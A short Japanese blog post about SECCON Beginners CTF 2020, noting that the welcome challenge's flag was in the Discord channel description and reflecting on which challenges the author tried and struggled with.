[Misc] Welcome [Beginner]
Welcome to SECCON Beginners CTF 2020!
フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は
ctf4b-bot
までDMにてお声がけください。
Discordの#announcement
チャネルの説明にいました。
感想
今回から、問題の想定解法の難易度が記載されるようになったみたいです。これはとっても嬉しい!少なくとも簡単そうな問題から手を付けられる。
いつもだけど、ソロ参加なのにハイスコア出してる人も沢山いて、上を見たらキリが無いなぁ…。化け物かな…。
時間があまりなかった去年のほうが戦績良かったし、自分は全然進歩しないなぁ、なんてしょんぼりしてしまうけど、しょうがない。あせらずやれることをやっていこう。
やったことある問題が運良く出ると解けるし、解けないものはしょうがない。続けることに意味がある。うんうん。
ちょっと振り返ってみると、解けてない問題にかけた時間が結構長かったな。rustを入れてみたけどbuildエラーで落ちたり、AndroidStudioでも実行エラーが取り切れなかったり、PostScriptで書いてある!って気づいてから解読するのにマニュアル引き引き頑張ったり(解読できなかった)。普段使わない環境や言語に振り回された感。
一方、Pwnの Beginner's Heap は最近じっくりやったばっかりの tcache 絡みの問題だったし、CryptoのNoisyやRSAも割と粘った。Webも、次のunzipはこないだやったLFIかな〜なんて言いながら結構時間を使って試していたので、問題に取り組めるくらいにはレベルアップしたということにしておこう。目移りしすぎて逆に何も出来ないやつになってる気もするけど…。
ということで、サーバーが生きてるうちに頑張って復習終わらせるぞーᐠ( ᐛ )ᐟ!
噂によると、今回も良問揃いということなので楽しみ。運営の皆さんありがとうございました!(&もうしばしサーバーを生かしておいて下さいませ…。何卒🙏)